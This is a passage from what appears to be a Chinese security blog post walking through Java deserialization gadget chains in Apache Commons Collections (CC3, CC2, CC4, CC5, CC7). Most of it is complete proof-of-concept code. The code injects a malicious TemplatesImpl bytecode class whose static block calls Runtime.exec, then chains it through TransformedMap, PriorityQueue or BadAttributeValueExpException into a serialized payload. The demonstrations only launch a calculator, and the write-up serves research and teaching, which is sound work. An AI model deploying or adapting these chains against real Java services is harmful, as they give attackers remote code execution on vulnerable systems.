接下来我们需要修改第三个变量_tfactory ,这里需要注意了,因为_tfactory是被transient关键词修饰的,它是不参与序列化的,也就是说这里即使我们进行了修改,最终在序列化和反序列化过程中也是没用的,还是null,因此我们这里需要找其他修改的方法,这里注意到本类下的readObject方法存在如下代码

if (is.readBoolean()) {
            _uriResolver = (URIResolver) is.readObject();
        }

        _tfactory = new TransformerFactoryImpl();
    }

这里对_tfactory进行了赋值,我们先不进行序列化和反序列化,看看能不能弹计算器

public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        
        //调用反射修改_name的值
        Class cls = templates.getClass();
        Field name = cls.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"qwq");

        //调用反射修改_bytecodes的值
        Field bytecodes = cls.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);

        Field tfactoryfield = cls.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templates,new TransformerFactoryImpl());
        templates.newTransformer();

    }

这里并没有弹出计算器,反而触发了空指针报错,我们调试后确定报错位置如下

image-20230901175504858

这里的第一个if检测了_class的父类名是否为ABSTRACT_TRANSLET,如果不是则进入else,继而触发空指针异常,此时我们有两种方法,一是给它的父类赋值为ABSTRACT_TRANSLET,二是给_auxCLasses赋值,让他调用put方法不报错,但我们注意到这样的话第二个if也还是会异常,因此我们只能给它的父类赋值了,接下来我们跟进

private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

发现是这个类,因此我们直接在恶意类中继承,同时实现必要的方法即可,修改后的恶意类如下

public class Calc extends AbstractTranslet{
    static{
        try {
            Runtime.getRuntime().exec("open -na Calculator");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        
    }
}

生成Test.Class后再重新进行导入,此时再去运行

image-20230901180600433

接下来的问题就来到了如何触发templates.newTransformer(),此时可以同CC1,利用InvokeTransform,具体如下

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        });

后面就直接贴CC1了,跟他一致

public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        //调用反射修改_name的值
        Class cls = templates.getClass();
        Field name = cls.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"qwq");

        //调用反射修改_bytecodes的值
        Field bytecodes = cls.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);

        Field tfactoryfield = cls.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templates,new TransformerFactoryImpl());
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        });
        HashMap hashMap = new HashMap();
        hashMap.put("value","v");
        Map<Object,Object> transformMap= TransformedMap.decorate(hashMap,null,chainedTransformer);
        Class annotationInvocationHandler =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Retention.class,transformMap);
        serialize(o);
        unserialize("ser.bin");
    }

CC3链2(InvokeTransform被ban)

我们上个链中后半段是接着CC1的直接使用了,但如果InvokeTransform被ban时,我们就无法再使用了,为了解决这个问题,CC3的作者找到了另一个链,我们跟着进行分析一下。

回到刚刚,具体是templates.newTransformer()这里,我们需要找谁能调用newTransformer()方法,这里查找后最终确定在com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java文件,但这个类没有序列化接口,也就是说我们不能通过反射修改它的值,但一般构造函数可能能够控制变量值,我们这里看一下构造函数

public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

这里发现可以通过构造函数来控制templates的值,所以接下来需要找谁可以调用这个构造函数,最终确定为InstantiateTransformer类,它的构造函数和transform可以调用一个对象指定参数的构造函数

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

public Object transform(Object input) {
        try {
            if (!(input instanceof Class)) {
                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
            } else {
                Constructor con = ((Class)input).getConstructor(this.iParamTypes);
                return con.newInstance(this.iArgs);
            }

所以下面两行代码就可以执行newTransform辣

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);

简单解释一下,虽然TrAXFilter不能序列化,但TrAXFilter.class可序列化,同时InstantiateTransformer接收的是class对象,所以就这样调用啦,然后就是实例化TrAXFilter,调用它的构造函数时赋值templatestemplates变量,此时就执行了newTransform

接下来再用ChainedTransform进行包裹就好了

public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        //调用反射修改_name的值
        Class cls = templates.getClass();
        Field name = cls.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "qwq");

        //调用反射修改_bytecodes的值
        Field bytecodes = cls.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates, codes);

        Field tfactoryfield = cls.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templates, new TransformerFactoryImpl());
        //templates.newTransformer();
        //InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        //instantiateTransformer.transform(TrAXFilter.class);
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        });
        HashMap map = new HashMap();
        map.put("value","v");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
        Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerconstructor.setAccessible(true);
        Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

image-20230901190603011

CC4

TransformingComprator这个类在之前是不可序列化的,而在CC4这个版本中变为了可序列化,即继承了serializeable接口,所以这里就有了CC4的反序列化利用链。具体过程如下

这里我们从ChainedTransformer.transform入手,找哪里调用了transform方法,然后定位到了TransformingCompratorcompare方法,具体代码如下

public int compare(Object obj1, Object obj2) {
        Object value1 = this.transformer.transform(obj1);
        Object value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

接下来再看谁调用了TransformingComprator.compare方法,而后定位到java的util原生类下的PriorityQueuesiftDownComparable方法image-20230901200936156

同时,就在此方法之上,siftDown调用了该方法,因此我们接下来看哪里调用了siftDown,还是在本类中,有一个heapify()调用了此方法

private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

而后发现本来的readObject调用了heapify()方法image-20230901201055661

至此,整个链子的流程就走完了,接下来就可以写Poc了

这里需要注意的是heapify的for循环

private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

要想执行siftDown,我们至少得让i=2,而且如果一开始就进入的话未反序列化就已经触发命令执行了,所以需要先修改为错误的值,再用反射改回来,最终Poc如下

package CCtest;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        //调用反射修改_name的值
        Class cls = templates.getClass();
        Field name = cls.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "qwq");

        //调用反射修改_bytecodes的值
        Field bytecodes = cls.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates, codes);

        Field tfactoryfield = cls.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templates, new TransformerFactoryImpl());
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        });
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c = transformingComparator.getClass();
        Field transformedField = c.getDeclaredField("transformer");
        transformedField.setAccessible(true);
        transformedField.set(transformingComparator, chainedTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object obj = ois.readObject();
        return obj;
    }
}

image-20230901202442739

CC2

与CC4不同的是,这里后续并未使用TraxFilter.class,而是通过调用InvokerTransformer.transform直接调用TemplatesImpl.newTransformer,同时,这里直接使用add将templates放入,不再使用ConstantTransformer,具体如下

public static void main(String[]args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class  cc = templates.getClass();

        Field nameField = cc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"quan9i");

        Field bytecodesField = cc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);

        InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer("1"));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(templates);
        Class c = transformingComparator.getClass();
        Field  transformer = c.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator,invokerTransformer);
        //serialize(priorityQueue);
        unserialize("ser.bin");
}

image-20230901203452439

CC5

CC5出发点是BadAttributeValueExpExceptionlreadObject,这个方法里调用了toString()方法

image-20230901203706148

TiedMapEntry下是有toString方法的,具体如下

@Override
    public String toString() {
        return getKey() + "=" + getValue();
    }

它会调用TiedMapEntrygetvalue方法,getvalue再调用Lazymap中的get方法,后续与CC1一致

package CCtest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5test {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        HashMap hashMap = new HashMap();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class BAVE = Class.forName("javax.management.BadAttributeValueExpException");
        Field BAVEF = BAVE.getDeclaredField("val");
        BAVEF.setAccessible(true);
        BAVEF.set(badAttributeValueExpException,tiedMapEntry);

        serialize(badAttributeValueExpException);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object obj = ois.readObject();
        return obj;
    }
}

image-20230901204846049

CC7

这里的入口点是HashTablereadObject方法,然后调用了equals方法,此时控制值即可来到AbstractMap.equals,然后又调用了get方法,操控值即可到达LazyMay.get,后续同之前。

# web安全 # java反序列化
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录